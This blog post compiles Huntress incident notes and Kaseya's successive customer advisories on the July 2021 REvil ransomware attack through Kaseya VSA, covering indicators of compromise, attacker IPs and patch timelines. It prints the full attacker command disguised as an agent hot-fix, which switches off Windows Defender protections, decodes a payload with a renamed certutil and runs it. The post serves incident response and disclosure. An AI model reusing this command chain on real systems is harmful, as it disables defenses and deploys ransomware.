Kaseya Ransomware: Latest Updates Live - How it occured

CitrixAI Architect

06 Jul 2021 — 29 min read

The below documentation is the latest update on the most recent updates pertaining to the massive global ransomware attack.

We are tracking over 30 MSPs across the US, AUS, EU, and LATAM where Kaseya VSA was used to encrypt well over 1,000 businesses and are working in collaboration with many of them. All of these VSA servers are on-premises and Huntress has confirmed that cybercriminals have exploited an arbitrary file upload and ~~SQLi~~ code injection vulnerability and have high confidence an authentication bypass was used to gain access into these servers. Kaseya has also stated:

R&D has replicated the attack vector and is working on mitigating it. We have begun the process of remediating the code and will include regular status updates on our progress starting tomorrow morning.

Our team has been in contact with the Kaseya security team for since July 2 at ~1400 ET. They immediately started taking response actions and feedback from our team as we both learned about the unfolding situation. We appreciated that team’s effort and continue to ask everyone to please consider what it’s like at Kaseya when you’re calling their customer support team. -Kyle

Many partners are asking “What do you do if your RMM is compromised?“. This is not the first time hackers have made MSPs into supply chain targets and we recorded a video guide to Surviving a Coordinated Ransomware Attack after 100+ MSP were compromised in 2019. Start with this resource and join us this Tuesday for updated conversation on the topic – register here.

COMMUNITY HELP

Huge thanks to those who sent unencrypted Kaseya VSA and Windows Event logs from compromised VSA servers! Our team combed through them until 0430 ET on 3 July. Although we found plenty of interesting indicators, most were classified as “noise of the internet” and we’ve yet to find a true smoking gun. The most interesting partner detail shared with our team was the use of a procedure named “Archive and Purge Logs” that was used as an anti-forensics technique after all encryption tasks completed.

Many of these ~30 MSP partners do did not have the surge capacity to simultaneously respond to 50+ encrypted businesses at the same time (similar to a local fire department unable to simultaneously respond to 50 burning houses). Please email support[at]huntress.com with estimated availability and skillsets and we’ll work to connect you. For all other regions, we sincerely appreciate the outpour of community support to assist them! Well over 50 MSPs have contacted us and we currently have sufficient capacity to help those knee-deep in restoring services.

If you are a MSP who needs help restoring and would like an introduction to someone who has offered their assistance please email support[at]huntress.com

SERVER INDICATORS OF COMPROMISE

On July 2 around 1030 ET many Kaseya VSA servers were exploited and used to deploy ransomware. Here are the details of the server-side intrusion:

Attackers uploaded agent.crt and Screenshot.jpg to exploited VSA servers and this activity can be found in KUpload.log (which *may* be wiped by the attackers or encrypted by ransomware if a VSA agent was also installed on the VSA server).
A series of GET and POST requests using curl can be found within the KaseyaEdgeServices logs located in %ProgramData%\Kaseya\Log\KaseyaEdgeServices directory with a file name following this modified ISO8601 naming scheme KaseyaEdgeServices-YYYY-MM-DDTHH-MM-SSZ.log.
Attackers came from the following IP addresses using the user agent curl/7.69.1:
18.223.199[.]234 (Amazon Web Services) discovered by Huntress
161.35.239[.]148 (Digital Ocean) discovered by TrueSec
35.226.94[.]113 (Google Cloud) discovered by Kaseya
162.253.124[.]162 (Sapioterra) discovered by Kaseya
We’ve been in contact with the internal hunt teams at AWS and Digital Ocean and have passed information to the FBI Dallas office and relevant intelligence community agencies.
The VSA procedure used to deploy the encryptor was named “Kaseya VSA Agent Hot-fix”. An additional procedure named “Archive and Purge Logs” was run to clean up after themselves (screenshot here)
The “Kaseya VSA Agent Hot-fix” procedure ran the following: "C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe

ENDPOINT INDICATORS OF COMPROMISE

Ransomware encryptors pushed via the Kaseya VSA agent were dropped in TempPath with the file name agent.crt and decoded to agent.exe. TempPath resolves to c:\kworking\agent.exe by default and is configurable within HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Kaseya\Agent\<unique id>
When agent.exe runs, the legitimate Windows Defender executable MsMpEng.exe and the encryptor payload mpsvc.dll are dropped into the hardcoded path “c:\Windows” to perform DLL sideloading.
The mpsvc.dll Sodinokibi DLL creates the registry key HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\BlackLivesMatter which contains several registry values that store encryptor runtime keys/configurations artifacts.
agent.crt – MD5: 939aae3cc456de8964cb182c75a5f8cc – Encoded malicious content
agent.exe – MD5: 561cffbaba71a6e8cc1cdceda990ead4 – Decoded contents of agent.crt
cert.exe – MD5: <random due to appended string> – Legitimate Windows certutil.exe utility
mpsvc.dll – MD5: a47cf00aedf769d60d58bfe00c0b5421– REvil encryptor payload

Next Update is planned to be published July 6th between 2:00 PM and 5:00 PM EDT. Checking this link (https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689) is the fastest way to ensure that you have the latest information from Kaseya.

Kaseya’s VSA product has unfortunately been the victim of a sophisticated cyberattack.   Due to our teams’ fast response, we believe that this has been localized to a very small number of on-premises customers only. 

Our security, support, R&D, communications, and customer teams continue to work around the clock in all geographies to resolve the issue and restore our customers to service.

This update provides further detail on the July 5, 2021 9:30 PM EDT and earlier updates.

Our Timeline for bringing SaaS servers on-line has shifted out by two hours – it is now July 6th between 4:00 PM EDT and 7:00 PM EDT due to configuration change and enhanced security measures being put in place.
Our On-Premises patch timeline is 24 hours (or less) from the restoration of SaaS services. We are focused on shrinking this time frame to the minimal possible – but if there are any issues found during the spin-up of SaaS, we want to fix them before bringing our on-premises customers up.
The enhanced security measures that will be brought online are:

24/7 Independent SOC for every VSA with the ability to quarantine and isolate files and entire VSA servers.
A complementary CDN with WAF for every VSA (Including on premise that opt-in and wish to use it – details will be available in a KB later this afternoon).
Customers who whitelist IPs will be required to need to whitelist additional IPs.
A new KB article on the SOC, CDN, and Whitelisting details will be published later this afternoon and linked to this KB on the Kaseya website.
Greatly reduces the attack surface of Kaseya VSA overall.

Later today we will release a customer-ready statement for you to use to communicate to your customers on the incident and the security measures that we have put in place.
A Compromise Detection Tool can be downloaded at the following link: VSA Detection Tool | Powered by Box . This continues to be enhanced, so please refer to the download site for the latest version.
Incident Update – more details can be found here: Incident Overview & Technical Details – Kaseya

To date, we are aware of fewer than 60 Kaseya customers, all of whom were using the VSA on-premises product, who were directly compromised by this attack. While many of these customers provide IT services to multiple other companies, we understand the total impact thus far has been to fewer than 1,500 downstream businesses.
We have not found evidence that any of our SaaS customers were compromised.
VSA is the only Kaseya product affected by the attack and all other IT Complete modules are not impacted.

Continued Advisory

All on-premises VSA Servers should continue to remain offline until further instructions from Kaseya about when it is safe to restore operations. A patch will be required to be installed prior to restarting the VSA and a set of recommendations on how to increase your security posture.
We have been advised by our outside experts, that customers who experienced ransomware and receive communication from the attackers should not click on any links – they may be weaponized.

July 5, 2021 9:30 PM EDT

Next Update is planned to be published July 6th between 8:00 AM and 12:00 PM EDT. Checking this link is the fastest way to ensure that you have the latest information from Kaseya.

Our security, support, R&D, communications, and customer teams continue to work around the clock in all geographies to resolve the issue and restore our customers to service.

This update provides further detail on the July 5, 2021 1:00 PM EDT and earlier updates.

Incident Update

In an effort to be transparent with our customers, Kaseya is sharing the information concerning the recent ransomware attack in an Incident Overview & Technical Details document which is available at this link
To date, we are aware of fewer than 60 Kaseya customers, all of whom were using the VSA on-premises product, who were directly compromised by this attack. While many of these customers provide IT services to multiple other companies, we understand the total impact thus far has been to fewer than 1,500 downstream businesses. We have not found evidence that any of our SaaS customers were compromised.
We have had no new reports filed of compromises for VSA customers since Saturday July 3rd.
VSA is the only Kaseya product affected by the attack and all other IT Complete modules are not impacted.
An article by Reuters covers the incident – link
Our executive committee met this afternoon at 6:30 PM EDT to reset the timeline and process for bringing our SaaS and on-premises customers back online.

The Patch for on-premises customers has been developed and is currently going through the testing and validation process. We expect the patch to be available within 24 hours after our SaaS servers have been brought up.
The current estimate for bringing our SaaS servers back online is July 6th between 2:00 PM – 5:00 PM EDT. A final go/no-go decision will be made tomorrow morning between 8:00 AM EDT – 12:00 AM EDT. These times may change as we go through the final testing and validation processes.
We will be releasing VSA with staged functionality to bring services back online sooner. The first release will prevent access to functionality used by a very small fraction of our user base, including:

Classic Ticketing
Classic Remote Control (not LiveConnect).
User Portal

Kaseya met with the FBI/CISA tonight to discuss systems and network hardening requirements prior to service restoration for both SaaS and on-premises customers. A set of requirements will be posted prior to service restart to give our customers time to put these counter measures in place in anticipation of a return to service on July 6th.
A new version of the Compromise Detection Tool can be downloaded at the following link: VSA Detection Tools.zip | Powered by Box

This tool analyzes a system (either VSA server or managed endpoint) and determines whether any indicators of compromise (IoC) are present.
The latest version searches for the indicators of compromise, data encryption, and the REvil ransom note. We recommend that you re-run this procedure to better determine if the system was compromised by REvil.
Over 2,000 customers have downloaded this tool since Friday.

Continued Advisory

All on-premises VSA Servers should continue to remain offline until further instructions from Kaseya about when it is safe to restore operations. A patch will be required to be installed prior to restarting the VSA and a set of recommendations on how to increase your security posture.
We have been advised by our outside experts, that customers who experienced ransomware and receive communication from the attackers should not click on any links – they may be weaponized.

July 5, 2021 1:00 PM EDT [Updated at 8:30 PM EDT]Next Update is planned to be published July 5th between ~~7:00 PM and 8:00 PM~~ 8:30 PM – 9:30 PM EDT. Checking this link is the fastest way to ensure that you have the latest information from Kaseya.

July 5, 2021 1:00 PM EDT [Updated at 6:30 PM EDT]

Next Update is planned to be published July 5th between ~~5:00 PM and 7:00 PM~~ 7:00 PM – 8:00 8:30 – 9:30 PM EDT. Checking this link is the fastest way to ensure that you have the latest information from Kaseya.

July 5, 2021 1:00 PM EDT

Next Update is planned to be published July 5th between 5:00 PM and 7:00 PM EDT. Checking this link is the fastest way to ensure that you have the latest information from Kaseya.

Our security, support, R&D, communications, and customer teams continue to work around the clock in all geographies to resolve the issue and restore our customers to service.

This update provides further detail on the July 4, 2021 11:00 PM EDT and earlier updates.

We will be providing a separate update with more technical details of the incident to aid our customers and security researchers during the afternoon of July 5th.
SaaS Restoration Timeline Updates – UPDATE

Our executive committee met this morning at 8:00 AM EDT, and to best minimize customer risk, felt that more time was needed before we brought the data centers back online.
They elected to meet again later this afternoon at 3:00 PM EDT to reset the schedule for starting the restoration process to bring our datacenters online. We will provide an updated timeline at approximately 5:00 PM – 7:00 PM EDT today (July 5th).
We are in the midst of deploying an enhanced security monitoring infrastructure and are testing the revised incident response processes and performance management controls to ensure acceptable operations for our customers.
The next update will be later this evening (EDT) after the executive committee reconvenes.
On-Premises Patch Timeline Updates – NEW
We are developing the new patch for on-premises clients in parallel with the SaaS Data Center restoration. We are deploying in SaaS first as we control every aspect of that environment. Once that has begun, we will publish the schedule for distributing the patch for on-premises customers.
The Compromise Detection Tool can be download at the following link: VSA Detection Tools.zip | Powered by Box This tool analyzes a system (either VSA server or managed endpoint) and determines whether any indicators of compromise (IoC) are present.

Continued Advisory

All on-premises VSA Servers should continue to remain offline until further instructions from Kaseya about when it is safe to restore operations. A patch will be required to be installed prior to restarting the VSA and a set of recommendations on how to increase your security posture.
We have been advised by our outside experts, that customers who experienced ransomware and receive communication from the attackers should not click on any links – they may be weaponized.

July 5, 2021 – 11:00 AM EDT

A revision to this update is coming later today. Please check back at approximately 1:00 PM EDT.

July 4, 2021 11:00 PM EDT

Next Update is planned to be published July 5th in the morning EDT. Checking this link is the fastest way to ensure that you have the latest information from Kaseya.

Our security, support, R&D, communications, and customer teams continue to work around the clock in all geographies to resolve the issue and restore our customers to service.

This update provides further detail on the July 4, 2021 5:45 PM EDT and earlier updates.

SaaS Restoration Timeline Updates – UPDATE

Our executive committee met at 10:00 PM EDT and to best minimize customer risk, felt that more time was needed before we brought the data centers back online.
They elected to meet again tomorrow morning at 8:00 AM EDT to reset the schedule with a goal of starting the restoration process to bring our datacenters online by end of day on July 5th local time (UTC) – but that timeframe is dependent on achieving some key objectives overnight.
The next update will be tomorrow morning EDT after the executive committee reconvenes.
On-Premises Patch Timeline Updates – NEW
Once we have begun the SaaS Data Center restoration process (see SaaS Restoration Timeline Updates above), we will publish the schedule for distributing the patch for on-premises customers.

Continued Advisory

All on-premises VSA Servers should continue to remain offline until further instructions from Kaseya about when it is safe to restore operations. A patch will be required to be installed prior to restarting the VSA and a set of recommendations on how to increase your security posture.
We have been advised by our outside experts, that customers who experienced ransomware and receive communication from the attackers should not click on any links – they may be weaponized.
The new Compromise Detection Tool can be download at the following link: VSA Detection Tools.zip | Powered by Box This tool analyzes a system (either VSA server or managed endpoint) and determines whether any indicators of compromise (IoC) are present.

July 4, 2021 5:45 PM EDT

Next Update is planned to be published July 4th in the very late evening EDT. The update will be published on the Kaseya.com support website (link here) in advance of the email being sent. Checking this link is the fastest way to ensure that you have the latest information from Kaseya.

Our security, support R&D, communications, and customer teams continue to work around the clock in all geographies to resolve the issue and restore our customers to service.

This update provides further detail on the July 4, 2021 10:00AM EDT and earlier updates.

Our efforts have shifted from root cause analysis and mitigating the vulnerability to beginning the execution of our service recovery plan. This plan will consist of the following stages:

Communication of our phased recovery plan with SaaS first followed by on-premises customers.

In the spirit of responsible disclosure, Kaseya will be publishing a summary of the attack and what we have done to mitigate it.
Some lightly-used legacy VSA functionality will be removed as part of this release out of an abundance of caution. A specific list of the functionality and its impact on VSA capabilities will be outlined in the release notes.
There will be new security measures implemented including enhanced security monitoring of our SaaS servers by FireEye and enablement of enhanced WAF capabilities.
We have successfully completed an external Vulnerability Scan, checked our SaaS Databases for Indicators of Compromise, and have had external security experts review our code to ensure a successful service restart.
SaaS Restoration Timeline Updates

Our executive committee plans to meet on July 5th at 5:00 AM UTC (12:00 AM EDT) to make a readiness decision on restarting SaaS within the following time windows:
- EU, UK, & APAC Data Centers: July 5 – 9:00 AM UTC – 1:00 PM UTC (4:00 AM EDT – 8:00 AM EDT)
- North American Data Centers: July 5 – 5:00 PM EDT – 10:00 PM EDT

These times/dates are subject to change and a status update will be posted on the website by 1:00 AM UTC as to whether we are adhering to the above schedule or not. If not, we will publish a revised schedule at that time.
For our SaaS Users:

We will bring our SaaS data centers back on-line on a one-by-one basis starting with our EU, UK and APAC data centers followed by our North American data centers.
We will be adding an additional layer of security to our SaaS infrastructure which will change the underlying IP addresses of our VSA servers (the domain names/URLs will not change). For almost all customers this change will be transparent. However if, and only if, you have whitelisted your Kaseya VSA server in your firewall(s), you will need to update the IP whitelist. We will provide the new IP addresses prior to returning to service.
Out of an abundance of caution, we have deleted all queued jobs that were pending as of the system shutdown on Friday. Once we have restored service, you can re-initiate those jobs should they be necessary.
For our On-Premises Users

We are currently building our on-premises release to make available to customers. We will begin the communication of the on-premises release process on July 5th
We are working on a program to enable us to extend our new security measures to our on-premise customers. Most details for this will be available prior to the release of the on-premises patch.

Continued Advisory

All On-Premises VSA Servers should continue to remain offline until further instructions from Kaseya about when it is safe to restore operations. A patch will be required to be installed prior to restarting the VSA and a set of recommendations on how to increase your security posture.
We have been advised by our outside experts, that customers who experienced ransomware and receive communication from the attackers should not click on any links – they may be weaponized.
The new Compromise Detection Tool can be download at the following link: VSA Detection Tools.zip | Powered by Box This tool analyzes a system (either VSA server or managed endpoint) and determines whether any indicators of compromise (IoC) are present.

July 4, 2021 5:00 PM EDT We are working on a status update which will be posted here shortly.

July 4, 2021 10:00 AM EDT

Latest Updates will be published at:  Important Notice July 3rd, 2021 – Kaseya

Next Update will be published July 4th in the early afternoon EDT

Our security, support R&D, communications, and customer teams continue to work around the clock in all geographies through the weekend to resolve the issue and restore our customers to service.

This update provides further detail on the July 3, 2021 7:30 PM EDT and 9:00 PM EDT updates. The changes are underlined for clarity.

Continued Advisory

SaaS & Hosted VSA Servers will become operational once Kaseya has determined that we can safely restore operations. We are in the process of formulating a staged return to service of our SaaS server farms with restricted functionality and a higher security posture (estimated in the next 24-48 hours but that is subject to change) on a geographic basis. More details on both the limitations, security posture changes, and time frame will be in the next communique later today.
All On-Premises VSA Servers should continue to remain offline until further instructions from Kaseya about when it is safe to restore operations. A patch will be required to be installed prior to restarting the VSA and a set of recommendations on how to increase your security posture.
We have been advised by our outside experts, that customers who experienced ransomware and receive communication from the attackers should not click on any links – they may be weaponized.

Key Points on Current Status:

The new Compromise Detection Tool was rolled out last night to almost 900 customers who requested the tool. Based on feedback from customers, we will be publishing an update to the tool this morning that improves its performance and usability. There are no changes that will require you to re-run the tool on systems that you have already scanned.

This new version of the Compromise Detection Tool will be automatically sent to customers who received the first version. New requests can be made by sending an email to [email protected] with the subject “Compromise Detection Tool Request”.
We will be opening up a private download site for end customers to get access to the Compromise Detection Tool once we have ensured the security, integrity, and trackability of the download process. More about this in the next update.
We continue to work with FireEye Mandiant IR (a leading computer incident response firm) on the security incident. Our joint efforts have not identified any new IoCs since yesterday and we have deployed our Compromise Detection Tool at hundreds of customers. At this point, no “False Positives” have been reported by users. [Note: A “False Positive” indicates that the Compromise Detection Tool incorrectly classifies a system as impacted when it wasn’t]
We have been actively engaged with FireEye and other security assessment firms to assess the manner and impact of the attack to ensure that our R&D organization has properly identified and mitigated the vulnerability. We are continuing the investigation in parallel with the remediation steps.
R&D has replicated the attack vector and the mitigation work is in progress. We expect to complete the work in the next 24-48 hours and the testing is progressing in parallel.
Fred Voccola, CEO of Kaseya, was interviewed regarding this incident on Good Morning America on the ABC network on Sunday, July 4th. The interview was significantly edited down from the full interview that Fred gave. The short message was: “We are confident we know how it happened and we are remediating it.”
We have engaged with the FBI and DHS CISA and are working with them on an incident-handling process for our worldwide customers impacted by the cyberattack. The following message will be posted to the FBI website:

“If you feel your systems have been compromised as a result of the Kaseya ransomware incident, we encourage you to employ all recommended mitigations, follow Kaseya’s guidance [LINK ‘Kaseya’s guidance’ TO https://www.kaseya.com/potential-attack-on-kaseya-vsa] to shut down your VSA servers immediately, and report your compromise to the FBI at https://www.IC3.gov. Due to the potential scale of this incident, we may be unable to respond to each victim individually but all information we receive will be useful in countering this threat.”
At this time, we believe that none of our NOC customers (neither SaaS nor on-premises) were affected by the attack. We’re continuing to investigate, but no compromised NOC customers have been found as of July 4th at 10:00 AM EDT.
Kaseya executives are directly reaching out to impacted customers to understand their situations and what assistance is possible. If you believe that you have been impacted, please contact [email protected] with the subject “Security Incident Report.” There have beenno new reports of compromisessince our last report yesterday. We are confident we understand the scope of the issue and are partnering with each client to do everything possible to remediate. We believe that there is zero related risk right now for any VSA client who is a SaaS customer or on-premises VSA customer who has their server offline.

July 3, 2021 9:00 PM EDT

Latest Updates will be published at:  Important Notice July 3rd, 2021 – Kaseya

This update provides further detail on the 1:30 PM EDT update. The changes are underlined for clarity.

Key Points on Current Status:

All On-Premises VSA Servers should continue to remain offline until further instructions from Kaseya about when it is safe to restore operations. A patch will be required to be installed prior to restarting the VSA. We plan to give our first time estimate in tomorrow mornings update at approximately 9:00 AM EDT.
SaaS & Hosted VSA Servers will become operational once Kaseya has determined that we can safely restore operations.
We have been advised by our outside experts, that customers who experienced ransomware and receive communication from the attackers should not click on any links – they may be weaponized.
A new Compromise Detection Tool will be available to Kaseya VSA customers later this evening to help you assess your (or your client’s) systems status. Request by sending an email to [email protected] with the subject “Compromise Detection Tool Request”.
With the availability of the Compromise Detection tool, we strongly recommend that compromised customers immediately begin the recovery process.
Fred Voccola, CEO of Kaseya, will be interviewed regarding this incident on Good Morning America on the ABC network on Sunday, July 4th. Please consult your local TV listings for times in your region. (This is subject to last minute rescheduling by the network)
Kaseya executives are directly reaching out to impacted customers to understand their situations and what assistance is possible. If you believe that you have been impacted, please contact [email protected] with the subject “Security Incident Report.” There has been only one new report of a compromise occurring today due to a VSA on-premises server being left on. We are confident we understand the scope of the issue and are partnering with each client to do everything possible to remediate. We believe that there is zero related risk right now for any VSA client who is a SaaS customer or on-prem VSA customer who has their server off.
We have engaged a computer incident response firm (FireEye Mandiant IR) to identify the indicators of compromise (IoCs) to ensure that we can identify which systems and data were accessed. We have identified a set of preliminary IoCs and have been working with our affected customers to validate them. The availability of the Compromise Detection Tool) is based on our interactions with our outside experts.
We have been actively engaged with FireEye and other security assessment firms to assess the manner and impact of the attack to ensure that our R&D organization has properly identified and mitigated the vulnerability.
R&D has replicated the attack vector and is working on mitigating it. We have begun the process of remediating the code and will include regular status updates on our progress starting tomorrow morning. We will begin working with select customers to field test the changes once we have completed the work and tested it thoroughly in our environment. We will not publish a resolution timeframe until we have thoroughly validated and tested the proposed solution.
At this time, we believe that none of our NOC customers (neither SaaS nor on-premises) were affected by the attack. We’re continuing to investigate this, but no compromised NOC customers have been found as of 7:00 PM EDT.
We have engaged with the FBI and are working with them on an incident-handling process for our worldwide customers impacted by the cyberattack.

The next update will be Sunday, July 4th at 9 am EDT.

July 3, 2021 1:30 PM EDT

Latest Updates will be published at:  Important Notice July 3rd, 2021 – Kaseya

Kaseya is progressing on the security incident along multiple workstreams:

Since the security of our customers is paramount, we are continuing to strongly recommend that our on-premises customers’ VSA servers remain offline until further notice.  We will also keep our SaaS servers offline until further notice.  
We have been advised by our outside experts, that customers who experienced ransomware and receive communication from the attackers should not click on any links – they may be weaponized.    
We have engaged with the FBI and are working with them on an incident handling process for our worldwide customers impacted by the cyberattack. We will be publishing a list of contacts later today.
Kaseya executives are directly reaching out to impacted customers to understand their situations and what assistance is possible. If you believe that you have been impacted, please contact [email protected] with the subject “Security Incident Report.”
We continue to engage with Industry experts to assess the manner and impact of the attack to ensure that our R&D organization has properly identified and mitigated the vulnerability.
R&D has replicated the attack vector and is working on mitigating it. We will not publish a resolution timeframe until we have thoroughly validated and tested the proposed solution. We appreciate your patience.
We have engaged a computer forensics firm to identify the indicators of compromise (IOCs) to ensure that we can identify which systems and data were accessed.
R&D is working on a self-assessment tool for our customers, to enable them to definitively determine whether they were affected. This will be published as part of the patch for on-premises customers.
At this time, we believe that none of our NOC customers (neither SaaS nor on-premises) were affected by the attack. We’re continuing to investigate this.
ALL ON-PREMISES VSA SERVERS SHOULD CONTINUE TO REMAIN OFFLINE UNTIL FURTHER INSTRUCTIONS FROM KASEYA ABOUT WHEN IT IS SAFE TO RESTORE OPERATIONS. A PATCH WILL BE REQUIRED TO BE INSTALLED PRIOR TO RESTARTING THE VSA.
SAAS & HOSTED VSA SERVERS WILL BECOME OPERATIONAL ONCE KASEYA HAS DETERMINED THAT WE CAN SAFELY RESTORE OPERATIONS.

JULY 3, 2021 10:00 AM EDT 

Since the security of our customers is paramount, we are continuing to strongly recommend that our on-premises customers’ VSA servers remain down until further notice.  We will also keep our SaaS servers offline until further notice. 

We have been advised by our outside experts, that customers who experienced ransomware and receive communication from the attackers should not click on any links – they may be weaponized.   

Kaseya has been working around the clock to resolve this issue from a security assessment, client support, progress update, technical resolution, and return to operational status standpoint. 

A comprehensive update is in progress and will be published later this morning (EDT).   This communication will include prescriptive information on: 

The external authorities (FBI, Incident Response Experts) that we have engaged and how we are leveraging them for assistance; 
How our customers can engage Kaseya for assistance and what we can do to help; 
How to determine whether customers have been compromised; 
Status updates from R&D on the progress of the patch for on-premises users; 
The plan to bring our SaaS and on-premises customers back online; 
A detailed description of the Security Incident process and current status; 
A schedule for communications updates; 
Other important information about the recovery process.

Ongoing updates will be provided every 3-4 hours or more often based on breaking details. 

ALL ON-PREMISEs VSA SERVERS SHOULD CONTINUE TO REMAIN OFFLINE UNTIL FURTHER INSTRUCTIONS FROM KASEYA. 
SAAS & HOSTED VSA SERVERS WILL BECOME OPERATIONAL ONCE KASEYA HAS DETERMINED THAT WE CAN SAFELY RESTORE OPERATIONS.

KASEYA VSA UPDATE – 11:00 PM EDT

ALL ON-PREMISE VSA SERVERS SHOULD CONTINUE TO REMAIN DOWN UNTIL FURTHER INSTRUCTIONS FROM KASEYA ABOUT WHEN IT IS SAFE TO RESTORE OPERATIONS. A PATCH WILL BE REQUIRED TO BE INSTALLED PRIOR TO RESTARTING THE VSA.
SAAS & HOSTED VSA SERVERS WILL BECOME OPERATIONAL ONCE KASEYA HAS DETERMINED THAT WE CAN SAFELY RESTORE OPERATIONS.

SEE UPDATE BELOW (10:00 PM EDT) FOR MORE INFORMATION ON THE INCIDENT

THE NEXT UPDATE WILL BE AT APPROXIMATELY 9:00 AM EDT ON SATURDAY 7/3/2021

KASEYA VSA UPDATE – 10:00 PM EDT

Beginning around mid-day (EST/US) on Friday, July 2, 2021, Kaseya’s Incident Response team learned of a potential security incident involving our VSA software.

We took swift actions to protect our customers:

Immediately shut down our SaaS servers as a precautionary measure, even though we had not received any reports of compromise from any SaaS or hosted customers;
Immediately notified our on-premises customers via email, in-product notices, and phone to shut down their VSA servers to prevent them from being compromised.

We then followed our established incident response process to determine the scope of the incident and the extent that our customers were affected.

We engaged our internal incident response team and leading industry experts in forensic investigations to help us determine the root cause of the issue;
We notified law enforcement and government cybersecurity agencies, including the FBI and CISA.

While our early indicators suggested that only a very small number of on-premises customers were affected, we took a conservative approach in shutting down the SaaS servers to ensure we protected our more than 36,000 customers to the best of our ability. We have received positive feedback from our customers on our rapid and proactive response.

While our investigation is ongoing, to date we believe that:

Our SaaS customers were never at-risk. We expect to restore service to those customers once we have confirmed that they are not at risk, which we expect will be within the next 24-48 hours;
Only a very small percentage of our customers were affected – currently estimated at fewer than 40 worldwide.

We believe that we have identified the source of the vulnerability and are preparing a patch to mitigate it for our on-premises customers that will be tested thoroughly. We will release that patch as quickly as possible to get our customers back up and running.

I am proud to report that our team had a plan in place to jump into action and executed that plan perfectly today. We’ve heard from the vast majority of our customers that they experienced no issues at all, and I am grateful to our internal teams, outside experts, and industry partners who worked alongside us to quickly bring this to a successful outcome.

Today’s actions are a testament to Kaseya’s unwavering commitment to put our customers first and provide the highest level of support for our products.

Fred Voccola, CEO
Kaseya

KASEYA VSA UPDATE – 4:00 PM EDT

We are experiencing a potential attack against the VSA that has been limited to a small
a number of on-premise customers only as of 2:00 PM EDT today.

We are in the process of investigating the root cause of the incident with an abundance
of caution but we recommend that you IMMEDIATELY shutdown your VSA server until
you receive further notice from us.

It’s critical that you do this immediately because one of the first things the attacker does
is shutoff administrative access to the VSA.